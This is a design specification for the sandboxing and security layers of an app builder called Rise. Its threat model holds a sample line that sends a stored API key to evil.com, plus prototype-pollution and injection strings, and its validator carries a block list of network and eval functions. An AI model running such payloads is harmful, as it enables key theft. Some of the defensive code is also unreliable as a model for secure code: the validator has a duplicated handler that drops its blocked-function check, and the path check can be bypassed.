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Security Specification

Comprehensive security architecture for Rise - protecting users while empowering them with code execution capabilities.

Philosophy

Rise faces a unique security challenge: we want to empower users to write arbitrary JavaScript (expressions, global functions) while protecting them from malicious code (from AI, plugins, or their own mistakes).

Core Security Principles:

  1. Defense in Depth: Multiple layers of protection
  2. Fail Secure: Errors should prevent execution, not allow bypass
  3. Transparency: Users know what code is running and why
  4. Escape Hatches: Users can override security for legitimate needs

Threat Model

Attack Vectors

1. Malicious User Expressions

// User types this in expression editor
"while(true){} // Infinite loop - freeze app"
"fetch('evil.com/steal?data=' + localStorage.getItem('apiKey'))"
"delete window.React // Break application"

2. Compromised AI Responses

{
  "expression": "__proto__.polluted = 'evil'; props.user.name",
  "aiGenerated": true
}

3. Malicious Plugins

// Plugin code could:
// - Read file system outside project
// - Exfiltrate API keys
// - Inject malicious code into generated files
// - Open backdoors in user's system

4. Injection Attacks

// User input that becomes code
const userName = "'; DROP TABLE users; --";
const expr = `user.name === '${userName}'`; // SQL-like injection

Assets to Protect

  • API Keys: Claude/OpenAI keys worth real money
  • User Code: Generated project is user's intellectual property
  • File System: Project files and system files
  • User Data: Credentials, environment variables
  • Application Integrity: Prevent app corruption

Layer 1: Expression Sandboxing

Architecture

User Expression → Parser → Validator → Sandbox → Result
     ↓               ↓          ↓         ↓         ↓
  Raw String    AST Tree   Checks   VM2/Worker  Safe Value

Implementation

A. Expression Parser

Use @babel/parser for reliable JavaScript parsing:

import { parse } from '@babel/parser';
import traverse from '@babel/traverse';

class ExpressionParser {
  parse(expression: string): AST {
    try {
      return parse(expression, {
        sourceType: 'script',
        plugins: [], // No JSX, TypeScript, etc. in expressions
      });
    } catch (error) {
      throw new SecurityError('Invalid JavaScript syntax', {
        expression,
        error: error.message,
      });
    }
  }
}

B. AST Security Validator

class ExpressionValidator {
  private readonly BLOCKED_IDENTIFIERS = new Set([
    'eval', 'Function', 'setTimeout', 'setInterval',
    'XMLHttpRequest', 'fetch', 'WebSocket',
    '__proto__', 'prototype', 'constructor',
    'require', 'import', 'process', 'global',
  ]);

  private readonly ALLOWED_GLOBALS = new Set([
    'Math', 'Date', 'String', 'Number', 'Boolean',
    'Array', 'Object', 'JSON', 'console',
    'props', 'state', 'global', // Rise-specific
  ]);

  validate(ast: AST): ValidationResult {
    const violations: SecurityViolation[] = [];

    traverse(ast, {
      // Block dangerous function calls
      CallExpression: (path) => {
        const callee = path.node.callee;
        
        if (this.isBlockedFunction(callee)) {
          violations.push({
            type: 'BLOCKED_FUNCTION',
            location: path.node.loc,
            function: callee.name,
            message: `Function '${callee.name}' is not allowed`,
          });
        }
      },

      // Block property access on sensitive objects
      MemberExpression: (path) => {
        const object = path.node.object;
        const property = path.node.property;

        // Block __proto__, prototype manipulation
        if (this.isSensitiveProperty(property)) {
          violations.push({
            type: 'SENSITIVE_PROPERTY',
            location: path.node.loc,
            property: property.name,
            message: `Access to '${property.name}' is not allowed`,
          });
        }
      },

      // Block assignment to forbidden identifiers
      AssignmentExpression: (path) => {
        const left = path.node.left;
        
        if (this.isProtectedIdentifier(left)) {
          violations.push({
            type: 'PROTECTED_ASSIGNMENT',
            location: path.node.loc,
            message: 'Cannot modify protected identifiers',
          });
        }
      },

      // Block import/require statements
      ImportDeclaration: (path) => {
        violations.push({
          type: 'IMPORT_NOT_ALLOWED',
          location: path.node.loc,
          message: 'Import statements not allowed in expressions',
        });
      },

      CallExpression: (path) => {
        if (path.node.callee.name === 'require') {
          violations.push({
            type: 'REQUIRE_NOT_ALLOWED',
            location: path.node.loc,
            message: 'require() not allowed in expressions',
          });
        }
      },
    });

    return {
      isValid: violations.length === 0,
      violations,
    };
  }

  private isBlockedFunction(node: any): boolean {
    if (node.type === 'Identifier') {
      return this.BLOCKED_IDENTIFIERS.has(node.name);
    }
    return false;
  }

  private isSensitiveProperty(node: any): boolean {
    if (node.type === 'Identifier') {
      return this.BLOCKED_IDENTIFIERS.has(node.name);
    }
    return false;
  }
}

C. Execution Sandbox

Use VM2 for secure code execution:

import { VM } from 'vm2';

class ExpressionSandbox {
  private readonly MAX_EXECUTION_TIME = 100; // milliseconds
  private readonly MAX_MEMORY = 50 * 1024 * 1024; // 50MB

  async execute(
    expression: string,
    context: ExpressionContext
  ): Promise<any> {
    // Create isolated VM
    const vm = new VM({
      timeout: this.MAX_EXECUTION_TIME,
      sandbox: this.createSandbox(context),
      eval: false,
      wasm: false,
      fixAsync: true,
    });

    try {
      const result = vm.run(`(${expression})`);
      return result;
    } catch (error) {
      if (error.message.includes('timeout')) {
        throw new SecurityError('Expression exceeded time limit', {
          expression,
          limit: this.MAX_EXECUTION_TIME,
        });
      }
      throw new SecurityError('Expression execution failed', {
        expression,
        error: error.message,
      });
    }
  }

  private createSandbox(context: ExpressionContext): object {
    return {
      // Allowed globals
      Math,
      Date,
      String,
      Number,
      Boolean,
      Array,
      Object,
      JSON,
      console: {
        log: (...args: any[]) => {
          // Safe logging - prevent sensitive data exposure
          this.logSafely('expression-log', args);
        },
      },

      // Rise-specific context
      props: context.props,
      state: context.state,
      global: context.globalState,
      
      // Global functions (user-defined)
      ...context.globalFunctions,

      // Block access to dangerous globals
      window: undefined,
      document: undefined,
      process: undefined,
      require: undefined,
      module: undefined,
      exports: undefined,
    };
  }

  private logSafely(category: string, args: any[]): void {
    // Sanitize arguments before logging
    const sanitized = args.map(arg => {
      if (typeof arg === 'object') {
        return JSON.stringify(arg, this.sensitiveDataReplacer);
      }
      return arg;
    });
    
    console.log(`[${category}]`, ...sanitized);
  }

  private sensitiveDataReplacer(key: string, value: any): any {
    const sensitiveKeys = ['password', 'token', 'apiKey', 'secret'];
    if (sensitiveKeys.includes(key.toLowerCase())) {
      return '[REDACTED]';
    }
    return value;
  }
}

D. Web Worker Alternative (Browser)

For generated apps running in browser, use Web Workers:

// runtime/expressionWorker.ts
class ExpressionWorker {
  private worker: Worker;

  constructor() {
    this.worker = new Worker('/workers/expression-executor.js');
  }

  async evaluate(expression: string, context: any): Promise<any> {
    return new Promise((resolve, reject) => {
      const timeout = setTimeout(() => {
        this.worker.terminate();
        reject(new Error('Expression timeout'));
      }, 100);

      this.worker.onmessage = (e) => {
        clearTimeout(timeout);
        if (e.data.error) {
          reject(new Error(e.data.error));
        } else {
          resolve(e.data.result);
        }
      };

      this.worker.postMessage({ expression, context });
    });
  }
}

// workers/expression-executor.js
self.onmessage = function(e) {
  const { expression, context } = e.data;
  
  try {
    // Create function with limited scope
    const fn = new Function(
      'props', 'state', 'global',
      `'use strict'; return (${expression})`
    );
    
    const result = fn(context.props, context.state, context.global);
    self.postMessage({ result });
  } catch (error) {
    self.postMessage({ error: error.message });
  }
};

Layer 2: Plugin Security

Plugin Sandbox Architecture

class PluginSandbox {
  private readonly ALLOWED_MODULES = new Set([
    '@babel/parser',
    '@babel/traverse',
    '@babel/generator',
    'prettier',
  ]);

  async loadPlugin(pluginPath: string): Promise<FrameworkPlugin> {
    // 1. Validate plugin package.json
    const packageJson = await this.validatePackageJson(pluginPath);
    
    // 2. Check plugin signature (future: code signing)
    await this.verifyPluginSignature(pluginPath);
    
    // 3. Load plugin in VM2 sandbox
    const plugin = await this.loadInSandbox(pluginPath);
    
    // 4. Validate plugin interface
    this.validatePluginInterface(plugin);
    
    return plugin;
  }

  private async loadInSandbox(pluginPath: string): Promise<any> {
    const { NodeVM } = require('vm2');
    
    const vm = new NodeVM({
      console: 'inherit',
      sandbox: {},
      require: {
        external: true,
        builtin: ['path', 'fs'],
        root: pluginPath,
        mock: {
          fs: this.createRestrictedFS(pluginPath),
        },
      },
      timeout: 5000, // 5 second load timeout
    });

    return vm.run(`
      const plugin = require('${pluginPath}');
      module.exports = plugin;
    `);
  }

  private createRestrictedFS(pluginPath: string): any {
    const fs = require('fs');
    const path = require('path');
    
    // Only allow file access within plugin directory
    return {
      readFileSync: (filepath: string, encoding?: string) => {
        const resolved = path.resolve(pluginPath, filepath);
        
        if (!resolved.startsWith(pluginPath)) {
          throw new Error('Plugin cannot access files outside its directory');
        }
        
        return fs.readFileSync(resolved, encoding);
      },
      // Deny write operations
      writeFileSync: () => {
        throw new Error('Plugins cannot write files');
      },
    };
  }

  private validatePluginInterface(plugin: any): void {
    const required = [
      'name',
      'version',
      'generator',
      'parser',
      'runtime',
      'project',
    ];

    for (const prop of required) {
      if (!(prop in plugin)) {
        throw new SecurityError(`Plugin missing required property: ${prop}`);
      }
    }

    // Validate generator methods
    if (typeof plugin.generator.generateComponent !== 'function') {
      throw new SecurityError('Plugin generator.generateComponent must be a function');
    }
  }
}

Plugin Resource Limits

class PluginResourceMonitor {
  private cpuUsage = new Map<string, number>();
  private memoryUsage = new Map<string, number>();

  async executePlugin(
    pluginId: string,
    fn: () => Promise<any>
  ): Promise<any> {
    const startCPU = process.cpuUsage();
    const startMemory = process.memoryUsage().heapUsed;

    try {
      const result = await Promise.race([
        fn(),
        this.timeout(5000), // 5 second timeout
      ]);

      // Track resource usage
      const cpuDelta = process.cpuUsage(startCPU);
      const memoryDelta = process.memoryUsage().heapUsed - startMemory;

      this.recordUsage(pluginId, cpuDelta, memoryDelta);
      this.checkLimits(pluginId);

      return result;
    } catch (error) {
      throw new SecurityError('Plugin execution failed', {
        pluginId,
        error: error.message,
      });
    }
  }

  private timeout(ms: number): Promise<never> {
    return new Promise((_, reject) => {
      setTimeout(() => reject(new Error('Plugin timeout')), ms);
    });
  }

  private recordUsage(
    pluginId: string,
    cpu: NodeJS.CpuUsage,
    memory: number
  ): void {
    const cpuTotal = cpu.user + cpu.system;
    this.cpuUsage.set(pluginId, cpuTotal);
    this.memoryUsage.set(pluginId, memory);
  }

  private checkLimits(pluginId: string): void {
    const cpu = this.cpuUsage.get(pluginId) || 0;
    const memory = this.memoryUsage.get(pluginId) || 0;

    // Limits
    const MAX_CPU = 1000000; // 1 second of CPU time
    const MAX_MEMORY = 100 * 1024 * 1024; // 100MB

    if (cpu > MAX_CPU) {
      throw new SecurityError('Plugin exceeded CPU limit', {
        pluginId,
        cpu,
        limit: MAX_CPU,
      });
    }

    if (memory > MAX_MEMORY) {
      throw new SecurityError('Plugin exceeded memory limit', {
        pluginId,
        memory,
        limit: MAX_MEMORY,
      });
    }
  }
}

Layer 3: API Key Management

Secure Storage

import keytar from 'keytar';

class APIKeyManager {
  private readonly SERVICE_NAME = 'rise-builder';
  private readonly KEY_ROTATION_DAYS = 90;

  async storeKey(provider: 'claude' | 'openai', apiKey: string): Promise<void> {
    // Validate key format
    this.validateKeyFormat(provider, apiKey);

    // Store in OS keychain
    await keytar.setPassword(this.SERVICE_NAME, provider, apiKey);

    // Record metadata (NOT the key itself)
    await this.recordKeyMetadata(provider, {
      storedAt: new Date(),
      rotateAt: new Date(Date.now() + this.KEY_ROTATION_DAYS * 86400000),
    });
  }

  async getKey(provider: 'claude' | 'openai'): Promise<string | null> {
    const key = await keytar.getPassword(this.SERVICE_NAME, provider);
    
    if (!key) {
      return null;
    }

    // Check if key needs rotation
    const metadata = await this.getKeyMetadata(provider);
    if (metadata && new Date() > metadata.rotateAt) {
      this.notifyKeyRotation(provider);
    }

    return key;
  }

  async deleteKey(provider: 'claude' | 'openai'): Promise<void> {
    await keytar.deletePassword(this.SERVICE_NAME, provider);
    await this.deleteKeyMetadata(provider);
  }

  private validateKeyFormat(provider: string, key: string): void {
    const patterns = {
      claude: /^sk-ant-[a-zA-Z0-9-_]{95}$/,
      openai: /^sk-[a-zA-Z0-9]{48}$/,
    };

    const pattern = patterns[provider];
    if (pattern && !pattern.test(key)) {
      throw new SecurityError('Invalid API key format', { provider });
    }
  }

  private async recordKeyMetadata(
    provider: string,
    metadata: KeyMetadata
  ): Promise<void> {
    // Store in local config (NOT the key itself!)
    const config = await this.loadConfig();
    config.apiKeys = config.apiKeys || {};
    config.apiKeys[provider] = metadata;
    await this.saveConfig(config);
  }
}

Cost Management

class APIUsageTracker {
  private readonly DAILY_BUDGET_USD = 10; // Default $10/day
  private usage = new Map<string, DailyUsage>();

  async trackRequest(
    provider: string,
    tokens: { prompt: number; completion: number }
  ): Promise<void> {
    const today = this.getToday();
    const usage = this.usage.get(today) || this.createDailyUsage();

    // Calculate cost (approximate)
    const cost = this.calculateCost(provider, tokens);
    usage.totalCost += cost;
    usage.requestCount++;

    this.usage.set(today, usage);

    // Check budget
    if (usage.totalCost >= this.DAILY_BUDGET_USD * 0.8) {
      this.notifyBudgetWarning(usage);
    }

    if (usage.totalCost >= this.DAILY_BUDGET_USD) {
      throw new SecurityError('Daily API budget exceeded', {
        usage: usage.totalCost,
        budget: this.DAILY_BUDGET_USD,
      });
    }
  }

  private calculateCost(
    provider: string,
    tokens: { prompt: number; completion: number }
  ): number {
    // Approximate costs (as of 2025)
    const pricing = {
      claude: {
        prompt: 0.000003, // $3 per 1M tokens
        completion: 0.000015, // $15 per 1M tokens
      },
      openai: {
        prompt: 0.00001, // $10 per 1M tokens
        completion: 0.00003, // $30 per 1M tokens
      },
    };

    const rates = pricing[provider] || pricing.openai;
    return (
      tokens.prompt * rates.prompt +
      tokens.completion * rates.completion
    );
  }

  async estimateCost(
    provider: string,
    promptLength: number
  ): Promise<CostEstimate> {
    const tokensApprox = Math.ceil(promptLength / 4); // ~4 chars per token
    const cost = this.calculateCost(provider, {
      prompt: tokensApprox,
      completion: tokensApprox * 2, // Assume 2x completion
    });

    const remaining = await this.getRemainingBudget();

    return {
      estimatedCost: cost,
      remainingBudget: remaining,
      canAfford: cost <= remaining,
    };
  }
}

Layer 4: Input Validation & Sanitization

User Input Sanitization

class InputSanitizer {
  sanitizeComponentName(name: string): string {
    // Allow: letters, numbers, underscore, dash
    // Must start with letter
    const sanitized = name
      .trim()
      .replace(/[^a-zA-Z0-9_-]/g, '')
      .replace(/^[^a-zA-Z]+/, '');

    if (!sanitized) {
      throw new SecurityError('Invalid component name', { name });
    }

    // Prevent reserved words
    const reserved = ['eval', 'function', 'constructor', 'prototype'];
    if (reserved.includes(sanitized.toLowerCase())) {
      throw new SecurityError('Component name is reserved', { name: sanitized });
    }

    return sanitized;
  }

  sanitizePropertyName(name: string): string {
    // Similar to component name but allow camelCase
    return name
      .trim()
      .replace(/[^a-zA-Z0-9_]/g, '')
      .replace(/^[^a-zA-Z]+/, '');
  }

  sanitizeFilePath(path: string, projectRoot: string): string {
    const fs = require('fs');
    const nodePath = require('path');
    
    // Resolve to absolute path
    const resolved = nodePath.resolve(projectRoot, path);
    
    // Ensure path is within project
    if (!resolved.startsWith(projectRoot)) {
      throw new SecurityError('Path traversal detected', { path });
    }

    return resolved;
  }

  sanitizeHTML(html: string): string {
    // Use DOMPurify in browser context
    if (typeof window !== 'undefined' && window.DOMPurify) {
      return window.DOMPurify.sanitize(html, {
        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'code'],
        ALLOWED_ATTR: ['href', 'target'],
      });
    }
    
    // Server-side: strip all HTML
    return html.replace(/<[^>]*>/g, '');
  }
}

Layer 5: Generated Code Security

Code Generation Safety

class CodeGenerationValidator {
  validateGeneratedCode(code: string): ValidationResult {
    const violations: SecurityViolation[] = [];

    // Parse generated code
    const ast = parse(code, {
      sourceType: 'module',
      plugins: ['jsx', 'typescript'],
    });

    traverse(ast, {
      // Check for dangerous patterns
      CallExpression: (path) => {
        const callee = path.node.callee;
        
        // Block eval, Function constructor
        if (
          callee.type === 'Identifier' &&
          ['eval', 'Function'].includes(callee.name)
        ) {
          violations.push({
            type: 'DANGEROUS_FUNCTION',
            location: path.node.loc,
            message: `Generated code contains dangerous function: ${callee.name}`,
          });
        }

        // Check for dangerouslySetInnerHTML
        if (
          callee.type === 'MemberExpression' &&
          callee.property.name === 'dangerouslySetInnerHTML'
        ) {
          violations.push({
            type: 'XSS_RISK',
            location: path.node.loc,
            message: 'Generated code uses dangerouslySetInnerHTML',
          });
        }
      },

      // Check for inline event handlers (potential XSS)
      JSXAttribute: (path) => {
        const name = path.node.name.name;
        const value = path.node.value;

        if (
          name.startsWith('on') &&
          value.type === 'StringLiteral'
        ) {
          violations.push({
            type: 'INLINE_HANDLER',
            location: path.node.loc,
            message: 'Inline event handlers are not allowed',
          });
        }
      },
    });

    return {
      isValid: violations.length === 0,
      violations,
    };
  }

  sanitizeGeneratedCode(code: string): string {
    // Add security headers
    const header = `
/**
 * SECURITY: This code was generated by Rise
 * Do not manually execute untrusted code
 * Generated: ${new Date().toISOString()}
 */
`;

    return header + code;
  }
}

Security Monitoring & Logging

Audit Trail

class SecurityLogger {
  async logSecurityEvent(event: SecurityEvent): Promise<void> {
    const logEntry = {
      timestamp: new Date().toISOString(),
      type: event.type,
      severity: event.severity,
      details: this.sanitizeDetails(event.details),
      userId: event.userId,
      projectId: event.projectId,
    };

    // Write to secure log file
    await this.appendToLog(logEntry);

    // Alert on critical events
    if (event.severity === 'CRITICAL') {
      this.alertAdmin(logEntry);
    }
  }

  private sanitizeDetails(details: any): any {
    // Remove sensitive data from logs
    const sanitized = { ...details };
    
    const sensitiveKeys = [
      'apiKey', 'token', 'password', 'secret',
      'privateKey', 'credential',
    ];

    for (const key of sensitiveKeys) {
      if (key in sanitized) {
        sanitized[key] = '[REDACTED]';
      }
    }

    return sanitized;
  }
}

Security Best Practices for Users

User Documentation

## Security Guidelines for Rise Users

### ✅ Safe Practices

1. **Expressions**
   - Use only trusted global functions
   - Avoid accessing external APIs
   - Test expressions with sample data first

2. **Plugins**
   - Install plugins from trusted sources only
   - Review plugin permissions before installing
   - Keep plugins updated

3. **API Keys**
   - Never share API keys
   - Rotate keys every 90 days
   - Set budget limits

### ⚠️ Warning Signs

- Expression takes > 1 second to execute
- Plugin requests unusual permissions
- Unexpected API costs
- Generated code contains warnings

### 🚨 Report Security Issues

Email: security@rise-builder.com
Response time: < 24 hours

Security Testing Requirements

Penetration Testing Checklist

- [ ] Expression XSS injection attempts
- [ ] Expression prototype pollution
- [ ] Expression infinite loops
- [ ] Expression memory exhaustion
- [ ] Plugin file system escape
- [ ] Plugin network access
- [ ] API key extraction attempts
- [ ] Generated code injection
- [ ] Path traversal in file operations
- [ ] SQL injection in database expressions

Automated Security Scanning

// Run on every PR
class SecurityScanner {
  async scanProject(): Promise<SecurityReport> {
    return {
      expressions: await this.scanExpressions(),
      plugins: await this.scanPlugins(),
      dependencies: await this.scanDependencies(),
      code: await this.scanGeneratedCode(),
    };
  }

  private async scanDependencies(): Promise<DependencyScan> {
    // Use npm audit
    const { execSync } = require('child_process');
    const output = execSync('npm audit --json', { encoding: 'utf8' });
    return JSON.parse(output);
  }
}

Security Compliance

GDPR Compliance

  • API keys stored locally only
  • No telemetry without consent
  • User data never leaves their machine
  • Clear data deletion process

SOC 2 Considerations (Future)

  • Audit logging
  • Access controls
  • Encryption at rest
  • Incident response plan

Incident Response Plan

Security Incident Levels

Level 1 - Low: Single user affected, no data breach Level 2 - Medium: Multiple users affected, potential exposure Level 3 - High: Data breach, API key compromise Level 4 - Critical: Systemic vulnerability, widespread impact

Response Procedures

class IncidentResponse {
  async handleIncident(incident: SecurityIncident): Promise<void> {
    // 1. Assess severity
    const level = this.assessSeverity(incident);

    // 2. Contain threat
    if (level >= 3) {
      await this.containThreat(incident);
    }

    // 3. Notify affected users
    if (level >= 2) {
      await this.notifyUsers(incident);
    }

    // 4. Patch vulnerability
    await this.deployPatch(incident);

    // 5. Post-mortem
    await this.conductPostMortem(incident);
  }

  private async containThreat(incident: SecurityIncident): Promise<void> {
    // Immediate actions:
    // - Disable affected plugins
    // - Revoke compromised API keys
    // - Block malicious expressions
    // - Rollback dangerous code generation
  }
}

Future Security Enhancements

Phase 1 (MVP)

  • ✅ Expression sandboxing with VM2
  • ✅ Plugin sandbox with resource limits
  • ✅ API key encryption
  • ✅ Input sanitization

Phase 2 (Post-MVP)

  • Code signing for plugins
  • Two-factor authentication for API key access
  • Security dashboard for users
  • Automated vulnerability scanning

Phase 3 (Future)

  • SOC 2 certification
  • Bug bounty program
  • Formal security audit
  • Penetration testing

Conclusion

Security is non-negotiable for Rise because we're executing user code. This specification provides:

  1. Multiple defensive layers to prevent attacks
  2. Clear implementation guidelines for developers
  3. Monitoring and response procedures for incidents
  4. User education to prevent mistakes

Critical: Every security measure must be implemented before MVP launch. A single vulnerability could destroy user trust permanently.


Next Steps:

  1. Human dev review this specification
  2. Implement expression sandbox in Phase 1
  3. Add security tests to CI/CD pipeline
  4. Create user security documentation

See Also:


Last Updated: October 25, 2025
Status: ✅ Complete - Ready for Implementation
Review Required: Senior Security Engineer